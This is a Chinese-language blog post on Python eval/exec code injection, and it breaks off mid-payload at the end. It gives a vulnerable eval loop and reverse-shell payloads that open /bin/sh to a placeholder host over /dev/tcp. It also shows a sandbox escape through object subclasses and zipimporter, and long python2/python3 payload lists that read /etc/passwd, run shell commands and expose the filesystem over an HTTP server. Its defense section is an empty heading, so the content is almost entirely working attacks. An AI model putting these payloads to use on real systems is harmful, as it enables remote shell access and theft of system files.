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Python Code Injection<a href="https://github.com/owefsad/blog/tree/main/source/_posts/Python-Code-Injection.md" class="post-edit-link" title="Edit this post" rel="noopener" target="_blank"><i class="fa fa-pen-nib"></i></a>
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<div class="post-body" itemprop="articleBody"><p>简介<br>python中可以产生代码注入的函数主要是<code>eval</code>和<code>exec</code>，eval用于执行python代码表达式，exec用于执行python代码段；此外，python2中，内置的input函数等效于<code>eval(raw_input)</code>可产生代码注入</p>
<span id="more"></span>
<h2 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h2><ul>
<li>无限制，利用内建函数渗透</li>
<li>限制内建函数的使用，使用元类渗透</li>
<li>防御代码注入</li>
<li>payloads</li>
</ul>
<h4 id="一、无限制，利用内建函数渗透"><a href="#一、无限制，利用内建函数渗透" class="headerlink" title="一、无限制，利用内建函数渗透"></a>一、无限制，利用内建函数渗透</h4><p>code demo1</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">cmd</span>):</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">eval</span>(<span class="string">'%s'</span> % cmd))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> cmd = <span class="built_in">input</span>(<span class="string">'cmd >'</span>)</span><br><span class="line"> <span class="keyword">if</span> cmd <span class="keyword">in</span> [<span class="string">'q'</span>, <span class="string">'quit'</span>, <span class="string">'exit'</span>]:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> run(cmd)</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(e)</span><br></pre></td></tr></table></figure>
<p>通过dir(<strong>builtins</strong>)查看内建变量和内建函数，</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[<span class="string">'ArithmeticError'</span>, <span class="string">'AssertionError'</span>, <span class="string">'AttributeError'</span>, <span class="string">'BaseException'</span>, <span class="string">'BlockingIOError'</span>, <span class="string">'BrokenPipeError'</span>, <span class="string">'BufferError'</span>, <span class="string">'BytesWarning'</span>, <span class="string">'ChildProcessError'</span>, <span class="string">'ConnectionAbortedError'</span>, <span class="string">'ConnectionError'</span>, <span class="string">'ConnectionRefusedError'</span>, <span class="string">'ConnectionResetError'</span>, <span class="string">'DeprecationWarning'</span>, <span class="string">'EOFError'</span>, <span class="string">'Ellipsis'</span>, <span class="string">'EnvironmentError'</span>, <span class="string">'Exception'</span>, <span class="string">'False'</span>, <span class="string">'FileExistsError'</span>, <span class="string">'FileNotFoundError'</span>, <span class="string">'FloatingPointError'</span>, <span class="string">'FutureWarning'</span>, <span class="string">'GeneratorExit'</span>, <span class="string">'IOError'</span>, <span class="string">'ImportError'</span>, <span class="string">'ImportWarning'</span>, <span class="string">'IndentationError'</span>, <span class="string">'IndexError'</span>, <span class="string">'InterruptedError'</span>, <span class="string">'IsADirectoryError'</span>, <span class="string">'KeyError'</span>, <span class="string">'KeyboardInterrupt'</span>, <span class="string">'LookupError'</span>, <span class="string">'MemoryError'</span>, <span class="string">'ModuleNotFoundError'</span>, <span class="string">'NameError'</span>, <span class="string">'None'</span>, <span class="string">'NotADirectoryError'</span>, <span class="string">'NotImplemented'</span>, <span class="string">'NotImplementedError'</span>, <span class="string">'OSError'</span>, <span class="string">'OverflowError'</span>, <span class="string">'PendingDeprecationWarning'</span>, <span class="string">'PermissionError'</span>, <span class="string">'ProcessLookupError'</span>, <span class="string">'RecursionError'</span>, <span class="string">'ReferenceError'</span>, <span class="string">'ResourceWarning'</span>, <span class="string">'RuntimeError'</span>, <span class="string">'RuntimeWarning'</span>, <span class="string">'StopAsyncIteration'</span>, <span class="string">'StopIteration'</span>, <span class="string">'SyntaxError'</span>, <span class="string">'SyntaxWarning'</span>, <span class="string">'SystemError'</span>, <span class="string">'SystemExit'</span>, <span class="string">'TabError'</span>, <span class="string">'TimeoutError'</span>, <span class="string">'True'</span>, <span class="string">'TypeError'</span>, <span class="string">'UnboundLocalError'</span>, <span class="string">'UnicodeDecodeError'</span>, <span class="string">'UnicodeEncodeError'</span>, <span class="string">'UnicodeError'</span>, <span class="string">'UnicodeTranslateError'</span>, <span class="string">'UnicodeWarning'</span>, <span class="string">'UserWarning'</span>, <span class="string">'ValueError'</span>, <span class="string">'Warning'</span>, <span class="string">'ZeroDivisionError'</span>, <span class="string">'__build_class__'</span>, <span class="string">'__debug__'</span>, <span class="string">'__doc__'</span>, <span class="string">'__import__'</span>, <span class="string">'__loader__'</span>, <span class="string">'__name__'</span>, <span class="string">'__package__'</span>, <span class="string">'__spec__'</span>, <span class="string">'abs'</span>, <span class="string">'all'</span>, <span class="string">'any'</span>, <span class="string">'ascii'</span>, <span class="string">'bin'</span>, <span class="string">'bool'</span>, <span class="string">'breakpoint'</span>, <span class="string">'bytearray'</span>, <span class="string">'bytes'</span>, <span class="string">'callable'</span>, <span class="string">'chr'</span>, <span class="string">'classmethod'</span>, <span class="string">'compile'</span>, <span class="string">'complex'</span>, <span class="string">'copyright'</span>, <span class="string">'credits'</span>, <span class="string">'delattr'</span>, <span class="string">'dict'</span>, <span class="string">'dir'</span>, <span class="string">'divmod'</span>, <span class="string">'enumerate'</span>, <span class="string">'eval'</span>, <span class="string">'exec'</span>, <span class="string">'exit'</span>, <span class="string">'filter'</span>, <span class="string">'float'</span>, <span class="string">'format'</span>, <span class="string">'frozenset'</span>, <span class="string">'getattr'</span>, <span class="string">'globals'</span>, <span class="string">'hasattr'</span>, <span class="string">'hash'</span>, <span class="string">'help'</span>, <span class="string">'hex'</span>, <span class="string">'id'</span>, <span class="string">'input'</span>, <span class="string">'int'</span>, <span class="string">'isinstance'</span>, <span class="string">'issubclass'</span>, <span class="string">'iter'</span>, <span class="string">'len'</span>, <span class="string">'license'</span>, <span class="string">'list'</span>, <span class="string">'locals'</span>, <span class="string">'map'</span>, <span class="string">'max'</span>, <span class="string">'memoryview'</span>, <span class="string">'min'</span>, <span class="string">'next'</span>, <span class="string">'object'</span>, <span class="string">'oct'</span>, <span class="string">'open'</span>, <span class="string">'ord'</span>, <span class="string">'pow'</span>, <span class="string">'print'</span>, <span class="string">'property'</span>, <span class="string">'quit'</span>, <span class="string">'range'</span>, <span class="string">'repr'</span>, <span class="string">'reversed'</span>, <span class="string">'round'</span>, <span class="string">'set'</span>, <span class="string">'setattr'</span>, <span class="string">'slice'</span>, <span class="string">'sorted'</span>, <span class="string">'staticmethod'</span>, <span class="string">'str'</span>, <span class="string">'sum'</span>, <span class="string">'super'</span>, <span class="string">'tuple'</span>, <span class="string">'type'</span>, <span class="string">'vars'</span>, <span class="string">'zip'</span>]</span><br></pre></td></tr></table></figure>
<p>其中，<code>__import__</code>用于导入模块，<code>eval</code>用于执行python代码表达式，<code>exec</code>用于执行python代码段，<code>compile</code>用于动态构建python对象(变量、方法等)<br>payload 1:<code>__import__('os').system('/bin/sh -i >& /dev/tcp/<ip>/<port> 0>&1')</code>：可以执行；<br>payload 2:<code>exec("""import os;os.system('/bin/sh -i >& /dev/tcp/<ip>/<port> 0>&1')""")</code>：可以执行；<br>payload 3:<code>compile("""import os;os.system('/bin/sh -i >& /dev/tcp/<ip>/<port> 0>&1')""", 'a', 'single')</code>：无法执行，可以构建对象，但是无法执行；</p>
<h4 id="二、限制内建函数，使用元类渗透"><a href="#二、限制内建函数，使用元类渗透" class="headerlink" title="二、限制内建函数，使用元类渗透"></a>二、限制内建函数，使用元类渗透</h4><p>code demo2</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">cmd</span>):</span><br><span class="line"> env = {}</span><br><span class="line"> env[<span class="string">"locals"</span>] = <span class="literal">None</span></span><br><span class="line"> env[<span class="string">"globals"</span>] = <span class="literal">None</span></span><br><span class="line"> env[<span class="string">"__name__"</span>] = <span class="literal">None</span></span><br><span class="line"> env[<span class="string">"__file__"</span>] = <span class="literal">None</span></span><br><span class="line"> env[<span class="string">"__builtins__"</span>] = <span class="literal">None</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">eval</span>(<span class="string">'%s'</span> % cmd, env))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> cmd = <span class="built_in">input</span>(<span class="string">'cmd >'</span>)</span><br><span class="line"> <span class="keyword">if</span> cmd <span class="keyword">in</span> [<span class="string">'q'</span>, <span class="string">'quit'</span>, <span class="string">'exit'</span>]:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> run(cmd)</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(e)</span><br></pre></td></tr></table></figure>
<p>上面的代码中，显示指定了<code>globals</code>为None，<code>locals</code>为None，<code>__builtins__</code>为None，所以在eval方法中无法直接调用python内建变量和方法、当前运行上下文对象等；<br>python中一切皆为类，一切对象皆为元类的子对象，因此可以通过任一对象访问到object类，然后利用object对象的子类</p>
<p>首先输入<code>'owef'.__class__</code>查看字符串owef所属的类，然后输入<code>'owef'.__class__.__base__</code>访问基类，输入<code>'owef'.__class__.__base__.__subclasses__()</code>访问object类的子类；在object的子类中，”zipimporter”用于从egg安装包中动态导入python模块，在被攻击机器上提前防止configobj的egg安装包或zip安装包，使用<code>[ x for x in 'owef'.__class__.__base__.__subclasses__() if x.__name__ == 'zipimporter' ][0]('/Users/shengnanwu/Documents/workspace/hacker/tools/python_exploit/configobj-5.0.6.egg').load_module('configobj').os.system('whoami')</code>进行动态加载模块，执行操作系统命令；<br><img src="/Python-Code-Injection/eval_limit_1.png" alt="eval_limit_1.png"></p>
<h4 id="防御代码注入"><a href="#防御代码注入" class="headerlink" title="防御代码注入"></a>防御代码注入</h4><h4 id="感谢-提供的一份payload-list"><a href="#感谢-提供的一份payload-list" class="headerlink" title="感谢@提供的一份payload list"></a>感谢@<a href=""></a>提供的一份payload list</h4><p>python2 list</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="string">'THIS IS A PYTHON EVAL INTERPRETED OUTPUT'</span>)</span><br><span class="line">exit()</span><br><span class="line"><span class="built_in">sum</span>(xrange(-<span class="number">999999999</span>,<span class="number">99999999</span>))</span><br><span class="line"> </span><br><span class="line">file(<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line"><span class="built_in">open</span>(<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'fileinput'</span>].<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>)</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cat /etc/passwd'</span>)</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read()</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>)</span><br><span class="line"> </span><br><span class="line"><span class="built_in">print</span>(file(<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">open</span>(<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'fileinput'</span>].<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cat /etc/passwd'</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>))</span><br><span class="line">(<span class="keyword">lambda</span> fc=(<span class="keyword">lambda</span> n: [ c <span class="keyword">for</span> c <span class="keyword">in</span> ().__class__.__bases__[<span class="number">0</span>].__subclasses__() <span class="keyword">if</span> c.__name__ == n ][<span class="number">0</span>]): fc(<span class="string">"function"</span>)( fc(<span class="string">"code"</span>)(<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="string">"KABOOM"</span>,(),(),(),<span class="string">""</span>,<span class="string">""</span>,<span class="number">0</span>,<span class="string">""</span>),{})())()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>](<span class="string">'THIS IS A PYTHON EVAL INTERPRETED OUTPUT'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'exit'</span>]()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'sum'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'xrange'</span>](-<span class="number">999999999</span>,<span class="number">99999999</span>))</span><br><span class="line"> </span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'file'</span>](<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'open'</span>](<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'fileinput'</span>).<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cat /etc/passwd'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>)</span><br><span class="line"> </span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'file'</span>](<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'open'</span>](<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'fileinput'</span>).<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>))</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cat /etc/passwd'</span>))</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'catch_warnings'</span>][<span class="number">0</span>]()._module.__builtins__[<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>))</span><br></pre></td></tr></table></figure>
<p>pythond3 list</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="string">'THIS IS A PYTHON EVAL INTERPRETED OUTPUT'</span>)</span><br><span class="line">exit()</span><br><span class="line"><span class="built_in">sum</span>(xrange(-<span class="number">999999999</span>,<span class="number">99999999</span>))</span><br><span class="line"> </span><br><span class="line">file(<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line"><span class="built_in">open</span>(<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'fileinput'</span>].<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>)</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cat /etc/passwd'</span>)</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read()</span><br><span class="line"><span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cd /; python -m http.server'</span>)</span><br><span class="line"> </span><br><span class="line"><span class="built_in">print</span>(file(<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">open</span>(<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'fileinput'</span>].<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cat /etc/passwd'</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read())</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">__import__</span>[<span class="string">'os'</span>].system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>))</span><br><span class="line"> </span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>](<span class="string">'THIS IS A PYTHON EVAL INTERPRETED OUTPUT'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'exit'</span>]()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'sum'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'xrange'</span>](-<span class="number">999999999</span>,<span class="number">99999999</span>))</span><br><span class="line"> </span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'file'</span>](<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'open'</span>](<span class="string">'/etc/passwd'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'fileinput'</span>).<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cat /etc/passwd'</span>)</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).popen(<span class="string">'/etc/passwd'</span>, <span class="string">'r'</span>).read()</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'os'</span>).system(<span class="string">'cd /; python -m SimpleHTTPServer'</span>)</span><br><span class="line"> </span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'file'</span>](<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'open'</span>](<span class="string">'/etc/passwd'</span>).read())</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'__import__'</span>](<span class="string">'fileinput'</span>).<span class="built_in">input</span>(<span class="string">'/etc/passwd'</span>))</span><br><span class="line">[x <span class="keyword">for</span> x <span class="keyword">in</span> (<span class="number">1</span>).__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">'Pattern'</span>][<span class="number">0</span>].__init__.__globals__[<span class="string">'__builtins__'</span>][<span class="string">'print'</span>]([x <span class="keyword">for</span> x <span 